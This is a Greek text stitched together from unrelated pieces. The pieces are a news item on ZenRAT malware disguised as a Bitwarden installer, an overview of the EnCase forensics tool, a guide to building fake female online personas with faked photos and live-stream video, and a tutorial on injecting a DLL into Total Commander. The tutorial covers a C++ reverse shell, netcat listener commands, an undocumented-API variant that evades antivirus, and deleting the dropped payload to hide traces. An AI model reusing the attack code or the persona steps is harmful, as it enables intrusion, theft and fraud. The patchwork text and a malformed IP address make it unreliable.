Οι ερευνητές κυβερνοασφάλειας της εταιρείας ασφάλειας επιχειρήσεων Proofpoint ανακάλυψαν ένα τρομακτικό νέο κακόβουλο λογισμικό που διανέμεται ως πακέτο εγκατάστασης του δημοφιλούς διαχειριστή κωδικών πρόσβασης Bitwarden για να εξαπατήσει τους χρήστες και να κλέψει ευαίσθητα δεδομένα από τις συσκευές τους.
Αυτό το ψεύτικο πακέτο εγκατάστασης, με την ονομασία ZenRAT, παραδίδεται μέσω ενός ψεύτικου ιστότοπου Bitwarden, ο οποίος μοιάζει ακριβώς με τον αρχικό, αλλά δεν είναι νόμιμος. Αν ένας χρήστης δώσει προσοχή, είναι εύκολο να αντιληφθεί ότι οι χειριστές του κακόβουλου λογισμικού έχουν χρησιμοποιήσει την τεχνική typosquatting, επειδή ο ψεύτικος ιστότοπος έχει τίτλο bitwaridencom.
Οι κύριοι στόχοι του ZenRAT είναι ανυποψίαστοι χρήστες των Windows. Εάν ένας επισκέπτης κάνει κλικ στο σύνδεσμο λήψης που είναι σημειωμένος για άλλη πλατφόρμα (π.χ. Linux ή macOS), ανακατευθύνεται στον αρχικό ιστότοπο της Bitwarden (vault.bitwarden.com) στη σελίδα Λήψεις. Εάν ένας χρήστης των Windows κάνει κλικ σε αυτόν, η συσκευή του θα μολυνθεί με το ZenRAT και το κακόβουλο λογισμικό θα δημιουργήσει μια σύνδεση με τον διακομιστή C2 (185.186.7214).
Μόλις γίνει αυτό, το κακόβουλο λογισμικό θα συλλέξει τα επιθυμητά δεδομένα, συμπεριλαμβανομένων των λεπτομερειών του συστήματος και των αποθηκευμένων διαπιστευτηρίων. Το ZenRAT μπορεί να κλέψει πληροφορίες όπως τα ονόματα της CPU και της GPU, την έκδοση του λειτουργικού συστήματος, τη μνήμη RAM, τη διεύθυνση IP και την πύλη της συσκευής. Θα αποσπάσει επίσης πληροφορίες σχετικά με τις εγκατεστημένες λύσεις antivirus και άλλες εφαρμογές. Μπορεί επίσης να κλέψει δεδομένα και κωδικούς πρόσβασης του προγράμματος περιήγησης. Το ZenRAT διαβιβάζει τα αρχεία καταγραφής στον διακομιστή C2 σε απλό κείμενο.
Επαναπροσανατολίζει τους επισκέπτες του ιστότοπου σε έναν καλοήθη ιστότοπο. Ωστόσο, οι ερευνητές δεν διευκρίνισαν πώς ανακατευθύνονται οι επισκέπτες στον ιστότοπο. Προηγουμένως, το κακόβουλο λογισμικό διανεμόταν σε τέτοιες εκστρατείες μέσω phishing, SEO poisoning ή επιθέσεων malvertising. Το ωφέλιμο φορτίο φέρει τον τίτλο Bitwarden-installer-version-2023-7-1.exe και κατεβαίνει μέσω του crazygamescom. Αυτή η δούρειος ίππος έκδοση του νόμιμου εγκαταστάτη Bitwarden περιέχει ένα εκτελέσιμο αρχείο .NET με τίτλο (ApplicationRuntimeMonitor.exe).
Σύμφωνα με την ανάρτηση στο blog της Proofpoint, όταν οι ερευνητές εξέτασαν τα μεταδεδομένα του κακόβουλου πακέτου εγκατάστασης, παρατήρησαν ότι ο επιτιθέμενος το είχε μεταμφιέσει σε Speccy της Priform. Πρόκειται για ένα δωρεάν βοηθητικό πρόγραμμα των Windows που εμφανίζει πληροφορίες σχετικές με το υλικό/λογισμικό.
Επιπλέον, το εκτελέσιμο αρχείο έχει μια άκυρη υπογραφή που φαίνεται να υπογράφεται από τον διάσημο Γερμανό επιστήμονα πληροφορικής FileZilla Tim Kosse. Ωστόσο, αυτή η υπογραφή είναι επίσης ψεύτικη. Αυτό το σπονδυλωτό RAT εκτελεί επίσης ελέγχους anti-sandbox και anti-VM για να διαπιστώσει αν είναι ασφαλές να λειτουργεί στη συσκευή. Οι έλεγχοι περιλαμβάνουν επίσης geofencing για να διασφαλιστεί ότι δεν έχει εγκατασταθεί σε καμία ρωσόφωνη περιοχή.
Προσοχή κατά τη χρήση ενός διαχειριστή κωδικών πρόσβασης
Οι ερευνητές συμβουλεύουν τους χρήστες να είναι προσεκτικοί κατά τη λήψη λογισμικού και συνιστούν να προμηθεύονται εφαρμογές αποκλειστικά από επίσημες πηγές. Αξίζει να σημειωθεί ότι οι διαχειριστές κωδικών πρόσβασης έχουν γίνει συχνά στόχος κυβερνοεπιθέσεων και απάτης, με το LastPass να αποτελεί ένα αξιοσημείωτο παράδειγμα.
Ως ασφαλέστερη εναλλακτική λύση, τα τρία κορυφαία προγράμματα περιήγησης – Google Chrome, Mozilla Firefox και Safari – προσφέρουν δωρεάν λειτουργίες διαχείρισης κωδικών πρόσβασης. Αν δεν είστε σίγουροι για το ποια υπηρεσία να χρησιμοποιήσετε, οποιαδήποτε από αυτές τις τρεις επιλογές θα σας προσφέρει παρόμοια οφέλη και, σε ορισμένες περιπτώσεις, μπορεί να είναι πιο ασφαλής από άλλες.
EnCase: Η Κλειδαριά για την Ψηφιακή Ερευνητική Επιστήμη
Η Ψηφιακή Ερευνητική Επιστήμη (Digital Forensics) αποτελεί έναν ζωτικό κλάδο της τεχνολογίας που αφορά τη συλλογή, την ανάλυση και την παρουσίαση ηλεκτρονικών αποδεικτικών στοιχείων σε δικαστικές διαδικασίες και ανακρίσεις. Σε αυτόν τον σύνθετο και αναπτυσσόμενο τομέα, το εργαλείο EnCase έχει κερδίσει τη φήμη του ως ένα από τα πλέον ισχυρά και πλήρως εξειδικευμένα λογισμικά ψηφιακής ερευνητικής.
Τι είναι το EnCase:
Το EnCase είναι ένα λογισμικό ψηφιακής ερευνητικής που αναπτύχθηκε από την Guidance Software (τώρα OpenText) και αποτελεί ένα ολοκληρωμένο σύστημα για την ανάλυση και την εξαγωγή στοιχείων από ηλεκτρονικές συσκευές και αποθηκευτικούς χώρους. Στην πορεία, το EnCase εξελίχθηκε σε μια σουίτα λογισμικού που παρέχει εργαλεία για την ανάλυση ψηφιακών στοιχείων από υπολογιστές, κινητά τηλέφωνα, συσκευές αποθήκευσης και πολλά άλλα.
Πώς χρησιμοποιείται το EnCase:
Συλλογή Δεδομένων: Το EnCase χρησιμοποιείται για τη συλλογή ψηφιακών στοιχείων από συσκευές και αποθηκευτικούς χώρους. Αυτή η διαδικασία περιλαμβάνει τον ακριβή αντίγραφο του περιεχομένου των συσκευών, διασφαλίζοντας τη διατήρηση της ακεραιότητας των δεδομένων.
Ανάλυση Δεδομένων: Με το EnCase, οι ερευνητές μπορούν να αναλύσουν τα ψηφιακά στοιχεία που συλλέχθηκαν. Αυτό περιλαμβάνει την ανάκτηση διαγενεαλογικών αποδείξεων, όπως καταγραφές κλήσεων, μηνύματα, φωτογραφίες, αρχεία και πολλά άλλα.
Αναφορές και Παρουσιάσεις: Το EnCase διαθέτει εργαλεία που επιτρέπουν στους χρήστες να δημιουργήσουν εκθέσεις και παρουσιάσεις για τα αποδεικτικά στοιχεία που βρέθηκαν. Αυτές οι αναφορές είναι σημαντικές για να υποστηρίξουν τις δικαστικές διαδικασίες.
Διατήρηση ακεραιότητας: Το EnCase είναι γνωστό για την τήρηση ακεραιότητας των δεδομένων κατά την εξέταση. Αυτό είναι κρίσιμο σε δικαστικές διαδικασίες, καθώς τα αποδεικτικά στοιχεία πρέπει να είναι αναλλοίωτα.
Διαχείριση Αλυσίδων Εντολών: Το EnCase διαθέτει μια εντυπωσιακή λειτουργία για τη διαχείριση αλυσίδων εντολών, που επιτρέπει την αυτοματοποίηση διαδικασιών και τη δημιουργία προσαρμοσμένων εργαλείων.
Συνοψίζοντας, το εργαλείο EnCase είναι ένα αναπόσπαστο κομμάτι της ψηφιακής ερευνητικής επιστήμης και της δικαστικής έρευνας. Οι ερευνητές, οι εκπαιδευτικοί και οι επαγγελματίες ασφαλείας βασίζονται στο EnCase για την αξιόπιστη συλλογή, ανάλυση και παρουσίαση ψηφιακών αποδεικτικών στοιχείων, βοηθώντας έτσι στη διασφάλιση της δικαιοσύνης και της ασφάλειας στον ψηφιακό κόσμο.
♣ Να φτιάξουμε το δημόσιο προφίλ μας. Οπότε φτιάχνουμε λογαριασμούς σε Facebook,Yahoo,Paypal και skype
Όλοι οι λογαριασμοί πρέπει να έχουν τα ίδια στοιχεία!! Φυσικά σε καμία περίπτωση δεν δίνετε τα δικά σας.
Τι στοιχεία πρέπει να βάλω;
Μπορείτε να σκεφτείτε τα στοιχεία που θα έχει το ψεύτικο πρόσωπό σας, όπως όνομα, επώνυμο, ημ/γεν,καταγωγη κτλ
Για μεγαλύτερη ευκολία μπορείτε να χρησιμοποιήσετε την σελίδα https://www.fakenamegenerator.com/ όπου εισάγοντας το φύλο που επιθυμείτε (άνδρας η γυναίκα) την χώρα και κάποια ακόμα στοιχεία, θα σας δημιουργήσει για εσάς ένα ψεύτικο προφίλ, και θα σας δώσει και όλα τα στοιχεία σχετικά με αυτο
Όπως: Όνομα, επώνυμο, διεύθυνση, Ημερομηνία Γέννησης, Σωματότυπο, Αυτοκίνητο που υποτεθείτε οδηγεί, και δεκάδες ακόμα πληροφορίες.
♣ Προμηθευτείτε φωτογραφίες, αν θέλετε βίντεο και απαραιτήτως ένα live stream show!
Οι φωτογραφίες πρέπει να είναι ΟΛΕΣ ΑΠΟ ΤΟ ΙΔΙΟ ΚΟΡΙΤΣΙ και οσο περισσότερες τόσο καλύτερο
Βίντεο δεν είναι αναγκαστικό αλλα καλο είναι να εχετε ενα…
Οσο για Live Shows πρέπει να έχετε οπωσδήποτε ένα για να δείχνετε οτι είστε αληθινή.
Για όλα τα παραπάνω, μπορείτε να δημιουργήσετε δικα σας(αμα ξέρετε)να κατεβάσετε(λίγαπράγματα με ψάξιμο και δύσκολα) ή να αγοράσετε (ίσως το καλύτερο)
VPN
Το αμέσως επόμενο που θα χρειαστείτε είναι ένα VPN, προτείνω CyberGhost
♣♣ ♣ Για τέλος χρειαζόμαστε και Το manycam ♣ ♣♣
ManyCam είναι ένα πρόγραμμα το οποίο δίνει εφέ στη κάμερα μας και εχει πολλές άλλες ενέργειες για κaμερες.
Reverse shell μέσω DLL Injection με χρήση undocumented WinAPI function
Στο άρθρο αυτό θα δείξουμε μια σχετικά παλιά αλλά πολύ διαδεδομένη μέθοδο που χρησιμοποιούν οι επιτιθέμενοι για να εγκαταστήσουν ένα backdoor στον υπολογιστή του θύματος. Το συγκεκριμένο άρθρο μπορεί να το δείτε και κάπου αλλού (στα Αγγλικά) μιας και το έχω γράψει σε ξενόγλωσσα forums. Δεν είναι καινούριο και γενικά χρησιμοποιεί λίγο παλαιότερη τεχνολογία (όχι πολύ παλαιότερη btw… 😉 ) αλλά αυτό δεν πρέπει να μας ενοχλεί καθόλου για 2 λόγους:
Δεν μπορεί να χρησιμοποιηθεί (χωρίς κάποιες τροποποιήσεις) άμεσα για επιθέσεις.
Περνάει το μήνυμα της μεθοδολογίας που χρησιμοποιείται από τους επιτιθέμενους – που αυτό είναι και ένας από τους βασικούς στόχους του άρθρου.
Τι θα διαβάσετε σε αυτό το άρθρο
1) Πώς εκτελείται μια επίθεση DLL σε ένα υπολογιστή με Windows 7 Ultimate, με 2 τρόπους:
α) χρησιμοποιώντας μια documented Windows API function και
β) χρησιμοποιώντας μια μη τεκμηριωμένη (undocumented) API function των Windows. Αυτή η μέθοδος θα παρακάμψει επίσης το πρόγραμμα προστασίας από ιούς των Windows Essentials.
2) Όταν εκτελείται το injection, ένα private (μη ανιχνεύσιμο – τουλάχιστον την στιγμή που το έγραψα… 😉 ) reverse shell, (συμπεριλαμβάνεται ο πηγαίος κώδικας).
3) Επιπλέον, παρουσιάζεται μια (…πρωτότυπη ή καλύτερα λίγο αντισυμβατική) μέθοδος δημιουργίας ενός εκτελέσιμου αρχείου PE από ένα DLL κατά το χρόνο εκτέλεσης.
Πρέπει να είμαι guru για να το καταλάβω;
Αυτό το άρθρο αναφέρεται σε άτομα που γνωρίζουν ήδη πώς να προγραμματίζουν σε c ή c++ και έχουν βασικές γνώσεις για κλήσεις API των Windows. Επιπλέον, απαιτείται κάποια γνώση των τεχνικών εκμετάλλευσης ως εξής:
Τι είναι ένα reverse shell και πώς χρησιμοποιείται.
Το DLL Injection είναι μια δημοφιλής τεχνική που χρησιμοποιείται από τους εισβολείς για να εισάγουν κώδικα σε ένα εκτελέσιμο αρχείο προκειμένου να εκτελέσουν μια ελεγχόμενη εκτέλεση.
Θα παρουσιάσω δύο μεθόδους επιτυχημένης επίθεσης σε Windows 7 Ultimate OS που επιστρέφει ένα reverse shell στον εισβολέα. Η πρώτη μέθοδος χρησιμοποιεί την τεκμηριωμένη συνάρτηση API των Windows CreateRemoteThread και η δεύτερη μέθοδος χρησιμοποιεί την μη τεκμηριωμένη NtCreateThreadEx. Προτιμώ την τελευταία, γιατί η πρώτη “αγχώνει” λίγο το Windows Defender ενώ η δεύτερη όχι (τουλάχιστον όταν είχε δοκιμαστεί πριν μερικά χρόνια)!
Επιπλέον, ένα reverse shell (που αναπτύχθηκε σε c++) θα χρησιμοποιηθεί σε συνδυασμό με μια μέθοδο μεταφοράς ή… “συσκευασίας” ενός εκτελέσιμου αρχείου μέσα σε άλλο εκτελέσιμο αρχείο (ή DLL).
Η τελική επίθεση θα γίνει χρησιμοποιώντας δύο προσεγγίσεις:
Την παραδοσιακή (χειροκίνητη) προσέγγιση που χρησιμοποιώ μόνο το Netcat και
την… «επίσημη» προσέγγιση όπου χρησιμοποιώ το γνωστό Armitage του Metasploit arsenal. Φωτογραφίες της επίθεσης θα είναι διαθέσιμες σε εσάς καθώς και σύντομα βίντεο.
Πριν ξεκινήσουμε, θα ήθελα να διευκρινίσω ότι αυτό το άρθρο δεν είναι ένα σεμινάριο “Πώς να εισβάλετε”, ούτε μια μέθοδος εγκατάστασης ενός Trojan στο PC ενός θύματος. Είναι ακριβώς αυτό που δηλώνει ο τίτλος του: Μια μέθοδος κλήσης ενός Reverse Shell μέσω DLL Injection χρησιμοποιώντας μη τεκμηριωμένη συνάρτηση του API στα Windows 7.
Τα πρώτα βήματα
Για να εκτελέσουμε μια τέτοια επίθεση πρέπει πρώτα να αποφασίσουμε σε ποιο εκτελέσιμο πρόγραμμα θέλουμε να εισάγουμε τον κακόβουλο κώδικα μας. Στο παράδειγμά μου θα χρησιμοποιήσω σαν θύμα το πρόγραμμα Total Commander (http://www.ghisler.com), τον αγαπημένο Windows Manager των προγραμματιστών (και όχι μόνο!). Η εισαγωγή κακόβουλου κώδικα στο Total Commander, σημαίνει (εν ολίγης) ότι όταν ο χρήστης ξεκινήσει αυτό το πρόγραμμα στο τοπικό του υπολογιστή, θα λάβω αμέσως ένα reverse shell στο box μου (δηλ. στο… PC μου) με τα ίδια δικαιώματα που έχει το Total Commander όταν εκτελείτε. Για να είμαι πιο συγκεκριμένος, η μέθοδος ακολουθεί τρία βήματα που θα αναλύσω παρακάτω.
Η Μέθοδος
Βήμα 1. Έλεγξε εάν εκτελείται το «Total Commander».
Βήμα 2. Εάν εκτελείται, εκτέλεσε το injection και εκτέλεσε ένα reverse shell σε μια συγκεκριμένη διεύθυνση IP, μετά συνέχισε την εκτέλεση του Total Commander.
Βήμα 3. Εάν το “Total Commander” δεν εκτελείται, τότε πήγαινε στο 1.
Η προσέγγισή μου θα χρησιμοποιήσει τρία προγράμματα:
1. totalcmd.exe (Total Commander): είναι το πρόγραμμα που θα πυροδοτήσει όλη την επίθεση.
2. myDLL.DLL: Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα “μεταφέρει” τον εκτελέσιμο κώδικα του reverse shell. Μία από τις κύριες αρμοδιότητές του είναι όταν κληθεί το eventDLL_PROCESS_ATTACH, θα “αποσυσκευάσει” το reverse shell στο δίσκο και θα το εκτελέσει.
3. dllattack08.exe: Είναι το βασικό κακόβουλο πρόγραμμα που όταν εκτελεστεί στον υπολογιστή του θύματος, θα παραμείνει στη μνήμη εκτελόντας τα παραπάνω 3 βήματα της μεθόδου.
1. Δημιουργία του Reverse Shell.
Θα παρουσιάσω εδώ τον πηγαίο κώδικα του (private – εκείνη την εποχή που το έφτιαξα) Reverse Shell.
// reverse shell in win32 // by thiseas 2010 // Compile with VS 2008 from command line with cl: // cl PROGRAMrs.c -> PROGRAMrs.exe //////////////////////////////////////////////// #include <winsock2.h> #include <stdio.h>
#pragma comment(lib, “Ws2_32.lib”) //Inform the linker that the Ws2_32.lib file is needed.
// Starting shell by creating a new process with redirected i/o. memset(&theProcess,0,sizeof(theProcess)); theProcess.cb=sizeof(theProcess); theProcess.dwFlags=STARTF_USESTDHANDLES; // here we make the redirection theProcess.hStdInput = theProcess.hStdOutput = theProcess.hStdError = (HANDLE)Winsocket; // fork the new process. if(CreateProcess(NULL,”cmd.exe”,NULL,NULL,TRUE,0,NULL,NULL,&theProcess,&info_proc)==0) { WSACleanup(); return 1; }
return 0; }
Το παραπάνω πρόγραμμα μπορεί να χρησιμοποιηθεί ως αντικατάσταση του Netcat ή σε συνδυασμό με αυτό.
Χρήση
Για να τρέξουμε με επιτυχία το shell πρέπει να εκτελέσουμε τις ακόλουθες δύο εντολές:
Εντολή 1: Στο PC του επιτιθέμενου, εκτελέστε το Netcat για να βάλετε σε Listening mode μια σύνδεση:
στο Fedora : nc -l 1234
στο ubuntu: nc -v -l -p 1234
σε Windows : nc -v -l -p 1234
Εντολή 2: Στο PC του θύματος, εκτελέστε το reverse shell: c:> PROGRAMrs.exe <attackerIP> 1234
2.Πώς θα φυλάξουμε τον εκτελέσιμο κώδικα του shell μέσα σε ένα άλλο πρόγραμμα
Θα «αποθηκεύσω» τον εκτελέσιμο κώδικα μέσα στο DLL (που θα χρησιμοποιήσω αργότερα) για να εκτελεστεί όταν χρειαστεί (θα εξηγήσω αργότερα πώς). Έτσι, πρέπει να πάρω τον HexCode του εκτελέσιμου ReverseShell μου και να τον βάλω μέσα σε άλλο πρόγραμμα. Υπάρχουν διάφορες μέθοδοι για να γίνει αυτό. Ο στόχος είναι να αποθηκεύσετε ολόκληρο το ReverseShell εκτελέσιμο μέσα σε έναν byte Array και στη συνέχεια να γράψετε αυτόν Byte Array στο δίσκο με ένα νέο όνομα. Το νέο αρχείο που θα δημιουργηθεί θα είναι ένα κανονικό εκτελέσιμο PE (http://en.wikipedia.org/wiki/Portable_Executable)!
Ανοίγω το εκτελέσιμο “PROGRAMrs.exe” του αντίστροφου κελύφους χρησιμοποιώντας τον αγαπημένο μου επεξεργαστή ultraEdit (το οποίο είναι επίσης hex editor). Επιλέξτε όλα, κάντε δεξί κλικ και επιλέξτε Hex Copy Selected View (εικόνα 1).
Επικολλώ τα επιλεγμένα code-bytes σε ένα νέο αρχείο. Επιλέγω τις συγκεκριμένες στήλες στον editor (Alt+C) και επιλέγω όλο τον byte-code. Στη συνέχεια, κάνω δεξί κλικ και αντγραφή Ctrl+C (εικόνα 2).
Έβαλα τα επιλεγμένα byte σε ένα νέο αρχείο και έβαλα ένα “\x” μεταξύ κάθε δεκαεξαδικού, όπως δείχνει το ακόλουθο παράδειγμα:
Από:
Για να το κάνω γρήγορα μπορώ στον editor να αντικαταστήσω όλα τα κενά με ‘\x’ και τελικά να καταλήξω στο παρακάτω:
Εντάξει, αυτό ήταν. Αποθηκεύω αυτό το αρχείο στο δίσκο με το όνομα MyTempByteCode.txt.
3.Δημιουργώ την DLL
Ήρθε η ώρα σε αυτό το 3ο βήμα, να δημιουργήσω την DLL. Είναι η DLL που θα χρησιμοποιηθεί ως δούρειος ίππος. Θα φέρει μέση της το ReverseShell μέσα. Μία από τις κύριες αρμοδιότητές της είναι όταν κληθεί και εκτελεστεί το event DLL_PROCESS_ATTACH, θα αποσυσκευάσει το ReverseShell στο δίσκο και θα το εκτελέσει.
Την δημιούργησα χρησιμοποιώντας C++ στο Microsoft Visual Studio 2008 και ο κώδικας της είναι ο παρακάτω:
Ο πηγαίος κώδικας είναι (πιστεύω) αυτονόητος: Όταν ενεργοποιηθεί το event DLL_PROCESS_ATTACH, θα γράψω τα shell-bytes σε ένα αρχείο και θα το εκτελέσω (για να ξεκινήσει το RevsreShell) και αμέσως μετά θα τον διαγράψω από το δίσκο για να κρύψω τα ίχνη μου. Φυσικά, αυτό θα έχει μείνει στην μνήμη και θα επιτελεί την κακόβουλη εργασία του, δηλαδή θα έχει δώσει μη εξουσιοδοτημένη πρόσβαση στον επιτιθέμενο.
4.Εκτελώντας το Injection
Τώρα χρειάζομαι ένα πρόγραμμα για να ενεργοποιήσει, να καλέσει δηλαδή το παραπάνω DLL. Αυτό είναι βασικό πρόγραμμα που θα ενεργοποιήσει την επίθεση και είναι το: dllattack08.exe: Είναι αυτό που θα εκτελέσει το injection στο “Total Commander” χρησιμοποιώντας μια τεκμηριωμένη συνάρτηση WinAPI και μια μη τεκμηριωμένη WinAPI (the stealth case) – όπως είπαμε και στην αρχή του άρθρου.
typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) ( OUT PHANDLE hThread, IN ACCESS_MASK DesiredAccess, IN LPVOID ObjectAttributes, IN HANDLE ProcessHandle, IN LPTHREAD_START_ROUTINE lpStartAddress, IN LPVOID lpParameter, IN BOOL CreateSuspended, IN ULONG StackZeroBits, IN ULONG SizeOfStackCommit, IN ULONG SizeOfStackReserve, OUT LPVOID lpBytesBuffer );
if (!ProcessIdToSessionId( GetCurrentProcessId(), &CurrentSessionID )) { printf(“\nFailed to get the current session with error %d”, GetLastError()); } if (!ProcessIdToSessionId( RemoteProcessID, &RemoteSessionID )) { printf(“\nFailed to get the remote session with error %d”, GetLastError()); }
if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”)) printf(“\nSUCCESSFUL!\n”); else printf(“\nFailed!\n”);
return 0; }
Πιστεύω ότι κάποια θέματα στον παραπάνω κώδικα χρειάζονται κάποια διευκρίνιση. Η κλήση της συνάρτησης που εκτελεί το DLL injection χρησιμοποιώντας το τεκμηριωμένο API CreateRemoteThread είναι η: DllInject(hProcess, “\\DLLInjection\\myDLL.dll”)
Η συνάρτηση παίρνει 2 ορίσματα: Τον handler της διεργασίας του προγράμματος που πρόκειται να Inject και το όνομα του αρχείου DLL που θα επισυναφθεί στο injected εκτελέσιμο αρχείο. Όπως μπορείτε να δείτε αυτό είναι αρκετά “ανοιχτό” για να δεχτείτε οτιδήποτε σας αρέσει… 😎
Ένα άλλο ενδιαφέρον θέμα είναι η χρήση της συνάρτησης SeDebugPrivilege ως προσπάθεια απόκτησης όσο το δυνατόν περισσότερων προνομίων. Η Microsoft ανέφερε κάποτε το εξής:
“By setting the SeDebugPrivilege privilege on the running process, you can obtain the process handle of any running application. When obtaining the handle to a process, you can then specify the PROCESS_ALL_ACCESS flag, which will allow the calling of various Win32 APIs upon that process handle, which you normally could not do».
Αυτό είναι πράγματι ενδιαφέρον. Σύμφωνα με τις δοκιμές μου, τα παραπάνω δεν ισχύουν 100% για τα windows 7, αλλά άξιζε μια δοκιμή… πάντως.
Ένα σημαντικό μειονέκτημα αυτής της μεθόδου είναι ότι ενεργοποιεί το Microsoft Security Essentials Antivirus. Ανακάλυψα ότι η αιτία του συναγερμού είναι η χρήση του API CreateRemoteThread μέσα στη συνάρτηση DllInject. Αντικαθιστώ, λοιπόν, αυτή τη λειτουργία με μια νέα αλλά… undocumented! Το να εξηγήσουμε πώς βρίσκουμε και αναλύουμε μη τεκμηριωμένες λειτουργίες API των Windows είναι μια άλλη ιστορία (πράγματι προκλητική) που θα προσπαθήσω να εξηγήσω σε άλλο άρθρο. Η μη τεκμηριωμένη κλήση API υλοποιείται στη συνάρτηση DllInject_2. Η μόνη αλλαγή στον κώδικα για να καλέσετε αυτό το API είναι να αντικαταστήσετε την 7η γραμμή από το κάτω μέρος του παραπάνω πηγαίου κώδικα:
Από if (DllInject(hProcess, “\\DLLInjection\\myDLL.dll”))
Προς την if (DllInject_2(hProcess, “\\DLLInjection\\myDLL.dll”))
Και αυτό είναι. Γίνεσαι stealth!
Χειροκίνητη Επίθεση
Παρακάτω είναι ένα παράδειγμα επίθεσης με τον χειροκίνητο (παραδοσιακό) τρόπο:
Επίθεση με την χρήση του Metasploit Armitage
Το Metasploit [http://www.metasploit.com/] είναι ένα επαγγελματικό εργαλείο για Penetration Testers και όχι μόνο. Το Armitage είναι ένα front-end (μπορώ να πω) για το metasploit. Αυτό το εργαλείο μπορεί να χρησιμοποιηθεί για την εκτέλεση μας τέτοιας ίδιας επίθεσης. Μπορεί να χρησιμοποιηθεί ως client για να ακούσετε στη θύρα 6666 για να λάβετε το RevsrseShell μου. Ρίξτε μια ματιά εδώ:
και αμέσως μετά… Αυτό:
Ένα από τα ενδιαφέροντα πράγματα εδώ είναι ότι μπορεί να χρησιμοποιηθεί οποιοδήποτε Reverse Shell. Μπορείτε (για παράδειγμα) να δημιουργήσετε ένα κρυπτογραφημένο χρησιμοποιώντας το Metasploit, να λάβετε τον δυαδικό του κώδικα, να τον βάλετε στο DLL μου και να εκτελέσετε την επίθεση. Η μέθοδος και ο κώδικας είναι αρκετά ανοιχτοί για να υποστηρίξουν τέτοιες τεχνικές…
Και μερικά VIDEOs της επίθεσης
[1]. Περίπτωση I: Η εφαρμογή Total Commander ήδη είναι ανοιχτή στο PC του θύματος
[2]. Case II: Η εφαρμογή Total Commander ανοίγει μετά την εκτέλεση του malware (dllattack08.exe) στο PC του θύματος